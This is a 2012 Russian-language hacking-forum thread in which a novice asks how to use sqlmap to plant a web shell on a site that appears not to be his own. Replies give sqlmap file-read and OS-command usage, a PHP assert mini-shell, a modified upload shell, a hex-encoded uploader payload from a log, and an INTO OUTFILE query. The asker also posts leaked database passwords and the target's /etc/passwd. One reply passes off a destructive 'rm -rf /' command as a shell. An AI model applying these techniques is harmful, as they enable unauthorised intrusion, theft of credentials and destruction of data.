RDot

RDot (https://rdot.org/forum/index.php)
-   Оффтоп/Offtopic (https://rdot.org/forum/forumdisplay.php?f=12)
-   -   sqlmap пару вопросов (https://rdot.org/forum/showthread.php?t=1969)

Shadowfolder 01.02.2012 06:47

sqlmap пару вопросов
 
Всем доброго времени суток.Не судите строго, но как в sqlmap добавить данные?
есть бд: earth
есть table: administrator
есть columns:
Код:

username
password

как добавить в table под именем admnistrator админа с юзернеймом Josh и пассвордом qwerty?

плюс есть ещё один вопрос:как добавить шелл через sqlmap?я знаю можно узнать хэш>расшифровать>подключит ся к mysql и добавить оттуда, но данный способ не доступен.

madnet 01.02.2012 11:43

sqlmap, на сколько помню, не предоставляет функционала для внедрения записи, да и крайне редко это удается в sql инъекциях, можешь попробывать вручную составить запрос, используя
Цитата:

--sql-query=QUERY SQL statement to be executed
--sql-shell Prompt for an interactive SQL shell
Для получения шела, при достаточных правах можно использовать запись в файл, либо исполнение команд, для этого есть ключи
Цитата:

File system access:
These options can be used to access the back-end database management
system underlying file system.

--file-read=RFILE Read a file from the back-end DBMS file system
--file-write=WFILE Write a local file on the back-end DBMS file system
--file-dest=DFILE Back-end DBMS absolute filepath to write to

Operating system access:
These options can be used to access the back-end database management
system underlying operating system.

--os-cmd=OSCMD Execute an operating system command
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an out-of-band shell, meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, meterpreter or VNC
--os-bof Stored procedure buffer overflow exploitation
--priv-esc Database process' user privilege escalation
--msf-path=MSFPATH Local path where Metasploit Framework 3 is installed
--tmp-path=TMPPATH Remote absolute path of temporary files directory

Shadowfolder 01.02.2012 13:54

я новичок в sqlmap-e...
я читал то, что тут запостили, но мне нужен пример...кто работал, дайте примеров пожалуйста...

madnet 01.02.2012 14:33

В двух словах
sqlmap -u "http://...?id=" --file-read="/etc/passwd" - чтение файлов
sqlmap -u "http://...?id=" --file-write='/var/tmp/1.txt' --file-dest='/tmp/1.txt' - запись файла, где file-write - файл на твоей машине, file-dest - куда сохранить на удаленной
sqlmap -u "http://...?id=" --os-cmd=ls - выполнить команду, скрипт запросит пути куда лить оболочку, его тип и т.д.

Для новичка удобно запускат скрипт
sqlmap --wizard
тогда по шагам он будет запрашивать необходимую информацию

Shadowfolder 01.02.2012 17:16

Спасибо!Когда пытаюсь записать файл, то выйёт ошибку [WARNING] the injection is on a GET parametr and the file to be writen hexadecial value is 132218 bytes, this might cause errors in the file writing process
как решить эту проблему?

Raz0r 01.02.2012 17:53

файл слишком большой, в GET-параметр не поместится. Решение: либо заливать файл поменьше, либо использовать инъекцию в POST-параметре.

Lostnull 01.02.2012 17:54

Shadowfolder Как бы намекает, что сунуть 130 килов не есть гуд, пробуй лить мини шелл например
Цитата:

<?assert($_REQUEST[blabla]);?>

Shadowfolder 01.02.2012 18:12

как так, ведь мой шелл весит всего 65 килобайт...
что за мини шелл, подскажите

Raz0r 01.02.2012 18:51

все же попытаюсь
Цитата:

Сообщение от Shadowfolder (Сообщение 23448)
как так, ведь мой шелл весит всего 65 килобайт...

65 килобайт так же не влезут в GET-параметр, web-сервер не примет такой запрос, максимум можно отправить 4 кб.
Цитата:

Сообщение от Shadowfolder (Сообщение 23448)
что за мини шелл, подскажите

Написали же <?assert($_REQUEST[blabla]);?>

lefty 01.02.2012 19:11

Shadowfolder

Цитата:

как добавить в table под именем admnistrator админа с юзернеймом Josh и пассвордом qwerty?
это возможно, если у тебя иньекция в insert/update запросе, либо субд на которой все бегает поддерживает stacked queries.

уверен что это так в твоем случае ?

Shadowfolder 01.02.2012 19:18

что вставить в bablal?я просто не знаю <?assert($_REQUEST[bablal]);?> что дальше после этого?
и запрос будет такой? sqlmap -u "http://...?id=" --file-write="<?assert($_REQUEST[blabla]);?>" --file-dest='/tmp/1.txt'

faza02 01.02.2012 22:33

только /tmp/1.php
и после так — 1.php?blabla=[твой пхп код], ну а тебе заливка полноценного шелла, это через copy(), например

http://forum.antichat.ru/showthread.php?p=2028400#post2028400
прочитаю всю тему, посмотри, там пасаны на опыте все показали и объяснили.

Shadowfolder 02.02.2012 06:50

Не подходит мне это, я мало что могу ручками пока...Вот и прибегнул к sqlmap-у.Значит через Post запрос получится, да?
как его составить?чтобы залить шелл, а то у меня не выходит
или если можно будет наприер залить вот это

Цитата:

<?php
$name = 'my.exe';
if(file_exists($name))
echo "<a href=$name>$name</a>";
else{
if($_POST['upload']){
if($_FILES['file']['size']){
if(substr($_FILES['file']['name'], -3) == 'exe'){
if(move_uploaded_file($_FILES['file']['tmp_name'], getcwd().'/'.$name))
echo 'ok';
else
echo 'Upload filed: error number '.$_FILES['file']['error'];
}
}

}else{
?><form enctype="multipart/form-data" action="" method="post"><input name="file" type="file" />
<input type="submit" name="upload" value="Upload" />
</form><?php
}
}
?>
если все выйдет подравьте его для php, чтобы я смог загрузить тот шелл

faza02 03.02.2012 03:29

скрипт гринбира? я его тоже юзал когда-то.
my.exe замени на shell.php например, и строку
Цитата:

if(substr($_FILES['file']['name'], -3) == 'exe'){
на
Цитата:

if(substr($_FILES['file']['name'], -3) == 'php'){
ну а залить, я думаю проще то, что тебе сказали, и вообще, file_priv там Y?
дай ссылку в лс.

Shadowfolder 03.02.2012 18:42

Цитата:

Сообщение от faza02 (Сообщение 23484)
скрипт гринбира? я его тоже юзал когда-то.
my.exe замени на shell.php например, и строку
на

ну а залить, я думаю проще то, что тебе сказали, и вообще, file_priv там Y?
дай ссылку в лс.

они показали ведь ручным способ, а мне надо через sqlmap)если подскажите команды sqlmap поточнее как мне залить шелл, буду очень рад!
file_priv Y?всмысле читалка ли есть?да.могу прочитать файл etc/passwd команда sqlmap -u "http://...?id=" --file-read="/etc/passwd" работает.

что насчет скрипта гринбера
так правильно будет?

<?php
$name = 'shell.php';
if(file_exists($name))
echo "<a href=$name>$name</a>";
else{
if($_POST['upload']){
if($_FILES['file']['size']){
if(substr($_FILES['file']['name'], -3) == 'php'){
if(move_uploaded_file($_FILES['file']['tmp_name'], getcwd().'/'.$name))
echo 'ok';
else
echo 'Upload filed: error number '.$_FILES['file']['error'];
}
}

}else{
?><form enctype="multipart/form-data" action="" method="post"><input name="file" type="file" />
<input type="submit" name="upload" value="Upload" />
</form><?php
}
}
?>
будет заливка в папку /srv/www/htdocs/com/shell.php
когда я загружу скрипт гринбера там будет загрузчик файлов, что мне повзолит загрузить шелл и он будет доступен по адрессы сайт.ком/шелл.php?

madnet 03.02.2012 23:00

Если
/srv/www/htdocs/com/
корневая папка куда ты загружаешь скрипт гринбира и сам сайт доступен из этой директории, то да

Shadowfolder 04.02.2012 06:03

(( у меня похоже нету прав, выдаёт [WARNING] it looks like the file has not been written, this can occur if the DBMS process' user has no write privileges in the destination path
а что насчет других команд вроде --os-cmd= ?как через них залить шелл

snake 04.02.2012 10:35

мб МК вкл?(

Shadowfolder 04.02.2012 12:53

мк? хм

snake 04.02.2012 13:04

а когда в /tmp/ заливаешь,такой ошибки нет?И файл потом читается через ридфайл?

Shadowfolder 04.02.2012 14:18

а я в tmp и не заливаю, как ты видишь у меня другой путь до эвил файла

snake 04.02.2012 16:00

>
Цитата:

а когда в /tmp/ заливаешь,такой ошибки нет?И файл потом читается через ридфайл?
<
Цитата:

а я в tmp и не заливаю, как ты видишь у меня другой путь до эвил файла
позволю себе повториться
http://joyreactor.ru/pics/post/%D0%8...1%8C-35339.jpg
================================================== =============
Режим "не убий" включен:

ТС,попробуй залить файл 777.txt,в котором будет слово popong в директорию /tmp через sqlmap и посмотри,выведет ли sqlmap ошибку.А потом попробуй прочесть этот файл(/tmp/777.txt) через sqlmap.Выложи сюда результаты.
хух.

dumb 04.02.2012 18:54

Путь до сайта есть?! Хоть какая нибудь ошибка инклуда??? /var/user/site/www/includes/module/qwerty.php

тогда найди в хтмл-исходниках папку которая разрешена для записи (к примеру с картинками. или с аватарами. или cache форума/блога) и тогда

python sqlmap.py -u "http://qwe" --os-cmd "pwd" -v 3

1) потребуется ввести путь до веб-сервера (ты вводишь путь до папки с 777) /var/user/site/www/forum/cache/
2) далее потребуется ввести путь папки разрешенной на запись (ты вводишь тот же путь до папки с 777) /var/user/site/www/forum/cache/
т.к. стоит -v 3 то ты будешь видеть некоторый лог sqlmap. В частоности попытка загрузки 200-250 байтной формы загрузки. Лог примерно будет выглядеть вот так:
Код:

[20:52:15] [PAYLOAD] 36' LIMIT 1 INTO OUTFILE '/var/user/site/www/forum/cache/tmpuybpt.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d2929207b0a20202020246469723d245f524551554553545b2275706c6f6164446972225d3b0a0a202020206966202870687076657273696f6e2829203c2027342e312e3027290a202020207b0a20202020202020202466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b0a2020202020202020406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c2024646972202e20222f22202e202466696c6529206f722064696528293b0a202020207d0a20202020656c73650a202020207b0a20202020202020202466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b0a2020202020202020406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c2024646972202e20222f22202e202466696c6529206f722064696528293b0a202020207d0a202020204063686d6f642824646972202e20222f22202e202466696c652c2030373535293b0a202020206563686f202246696c652075706c6f61646564223b0a7d0a656c7365207b0a202020206563686f20223c666f726d20616374696f6e3d22202e20245f5345525645525b225048505f53454c46225d202e2022206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777773e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b0a7d0a3f3e0a -- AND 'ZIsE'='ZIsE
ты пробуешь
site.ru/forum/cache/tmpuybpt.php

собстенно путь с файлом я в коде выделил - так вот если запись произошла, то введи урл этого файла - и в самом низу увидишь форму загрузки(то есть запись возможна!)...через нее уже и закинь свой 65КБ шелл

Shadowfolder 04.02.2012 19:46

с заливкой в temp тоже такая ошибка =( [WARNING] it looks like the file has not been written, this can occur if the DBMS process' user has no write privileges in the destination path
dumb, не...там нельзя ничего загружать, даже аватарку.это не не форум и не блог, а просто сайт.
у меня вот, что выводит на странице если перейти с www.site.com/com/news.php?catid=123 на www.site.com/com/news.php
Код:

Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /srv/www/htdocs/com/news.php on line 222
бродя по сайту и скачивая различные файлы, я нашёл пассы к mysql

PHP код:

// setup database connection
//DB Connection Parameters
$db_server="localhost";
$db_name="userq";
$db_user="userq";
$db_passwd="12345"

есть один пхп ipconfig
PHP код:

$host "192.168.0.118";
$path "/";
$port "81";
$prot "http";


$mysql_host "localhost";
$mysql_user "root";
$mysql_pass "12345";
$mysql_database "dabase01"

пробовал подключится через mysql,sqlyog на айпи сайта и порт 3306 не вышло =/
может как то можно узнать путь до файлов через etc/passwd что даст хоть какие то конфигурационные файлы, например пароли фтп...? :help:


Код:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/bash
daemon:x:2:2:Daemon:/sbin:/bin/bash
lp:x:4:7:Printing daemon:/var/spool/lpd:/bin/bash
mail:x:8:12:Mailer daemon:/var/spool/clientmqueue:/bin/false
news:x:9:13:News system:/etc/news:/bin/bash
uucp:x:10:14:Unix-to-Unix CoPy system:/etc/uucp:/bin/bash
games:x:12:100:Games account:/var/games:/bin/bash
man:x:13:62:Manual pages viewer:/var/cache/man:/bin/bash
at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash
wwwrun:x:30:8:WWW daemon apache:/var/lib/wwwrun:/bin/false
ftp:x:40:49:FTP account:/srv/ftp:/bin/bash
postfix:x:51:51:Postfix Daemon:/var/spool/postfix:/bin/false
mysql:x:60:102:MySQL database admin:/var/lib/mysql:/bin/bash
sshd:x:71:65:SSH daemon:/var/lib/sshd:/bin/false
ntp:x:74:65534:NTP daemon:/var/lib/ntp:/bin/false
messagebus:x:100:101:User for D-BUS:/var/run/dbus:/bin/false
haldaemon:x:101:103:User for haldaemon:/var/run/hal:/bin/false
nobody:x:65534:65533:nobody:/var/lib/nobody:/bin/bash
supportleute:x:1000:100:supportleute:/home/supportleute:/bin/bash
htmlschieber:x:1001:100:Web FTP Benutzer:/srv/www/htdocs:/bin/bash


dumb 04.02.2012 19:54

в /tmp так же заливай как я тебе описал!
--file-write --file-desct хреново работают! я их некогда не юзал!

Пробуй так:
1) sqlmap.py -u "site" --os-cmd 'pwd' -v 3
2) укажешь 2 раза в качестве путей папку /tmp/ (именно так, с первым и последнем слешами!)
3) глянешь лог
Код:

[20:52:15] [PAYLOAD] 36' LIMIT 1 INTO OUTFILE '/tmp/tmpuybpt.php' LINES ......
4) sqlmap.py -u "site" --file-read "/tmp/tmpuybpt.php"
5) и если файл /tmp/tmpuybpt.php скачался - то в tmp запись точно есть!

или скинь ты урл - если нет ни блога, ни форума, никаких загрузок - какой-нить одностраничник пхп-шный?!

Shadowfolder 04.02.2012 20:37

в tmp ничего не качает.
но в других например /srv/www/htdocs/com/jek.php /srv/www/htdocs/com/admin/strukture.php их прекрасно качает, но запись туда никак не выходит

Lostnull 04.02.2012 21:10

Попытаюсь объяснить логику, как подобрать врайтабельную диру.
при ошибке Can't create/write to file '/bla/bla' (Errcode: 13), означает папка не врайтабельна перебираем, все известные папки и пробуем.
при ошибке Can't create/write to file '/bla/bla' (Errcode: 17), означает запись в файл, который существует, пробуем другое название файла (шелла).
Это все под ситуацию руками, как в sqlmap я не знаю даже, что сказать.

snake 04.02.2012 22:16

беда...
Цитата:

"с заливкой в temp тоже такая ошибка =( [WARNING] it looks like the file has not been written, this can occur if the DBMS process' user has no write privileges in the destination path"
http://sqlmap.sourceforge.net/images/gpl.png

vityab77 05.02.2012 22:40

Привет!

У меня другая проблема с ключами --os-cmd и --os-shell

sqlmap>sqlmap.py -u "http://sub.site.ru/file.php?cid=2" --os-cmd cid -v 3
два раза указываю путь до папки temp(777) /home/webmaster/www/site.ru/htdocs/tmp/

Получаю

23:28:13] [PAYLOAD] 2 LIMIT 1 INTO OUTFILE '/home/webmaster/www/site.ru/htd
ocs/tmp/tmpusrfo.php' LINES TERMINATED BY 0x3c3f706e.....0a --
[23:28:14] [DEBUG] got HTTP error code: 404 (Not Found)
[23:28:14] [WARNING] unable to upload the file stager on '/home/webmaster/www/site.ru/htdocs/tmp'


C --os-shell такая же байда...

Как быть, подскажите, плииииииииииз!

madnet 06.02.2012 10:21

Цитата:

Сообщение от vityab77 (Сообщение 23582)
Как быть, подскажите, плииииииииииз!

Похоже не хватает прав на запись в папку.
Проверь есть ли в принципе права на запись, если да, ищи папку с правами, доступную с веба

vityab77 06.02.2012 10:36

Сайт мой, папку создал сам, права на запись есть

snake 06.02.2012 12:09

покажи
ls -la /home/webmaster/www/site.ru/htdocs/tmp

vityab77 06.02.2012 15:57

Цитата:

Сообщение от snake (Сообщение 23595)
покажи
ls -la /home/webmaster/www/site.ru/htdocs/tmp

total 8
drwxrwxrwx 2 webmaster webmaster 4096 2012-02-05 18:14 .
drwxr-xr-x 35 webmaster webmaster 4096 2012-02-05 21:36 ..

tipsy 06.02.2012 17:01

Цитата:

Сообщение от vityab77 (Сообщение 23582)
[23:28:14] [DEBUG] got HTTP error code: 404 (Not Found)

Скорее всего баг в sqlmap, из-за которого запрос формируется неверно.
Если есть желание разбираться, смотри логи апача, смотри сниффером, чего там отправляет sqlmap или подредактируй её, чтобы дублировала запросы на экран.

Shadowfolder 06.02.2012 17:48

vityab77 посмотри, может у тебя старая версия sqlmap, поставь 1.0

vityab77 06.02.2012 19:54

у меня 0.9 версия

dumb 07.02.2012 18:07

По поводу вывода юзайте:
--parse-errors
-t full-IO-log.txt
Цитата:

Сообщение от vityab77 (Сообщение 23623)
у меня 0.9 версия

1.0-dev уже с полгода ребилдами вверх ползет!

Shadowfolder 27.02.2012 04:14

А как через sql-query залить шелл?

snake 27.02.2012 11:55

select 'passthru("rm -rf /");' into outfile '/var/www/html/root.php'

так же как и без склмапа.

Shadowfolder 27.02.2012 19:02

Цитата:

Сообщение от snake (Сообщение 24043)
select 'passthru("rm -rf /");' into outfile '/var/www/html/root.php'

так же как и без склмапа.

и как можно будет туда записать шелл? что такое "rm -rf /?


Часовой пояс GMT +3, время: 07:52.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot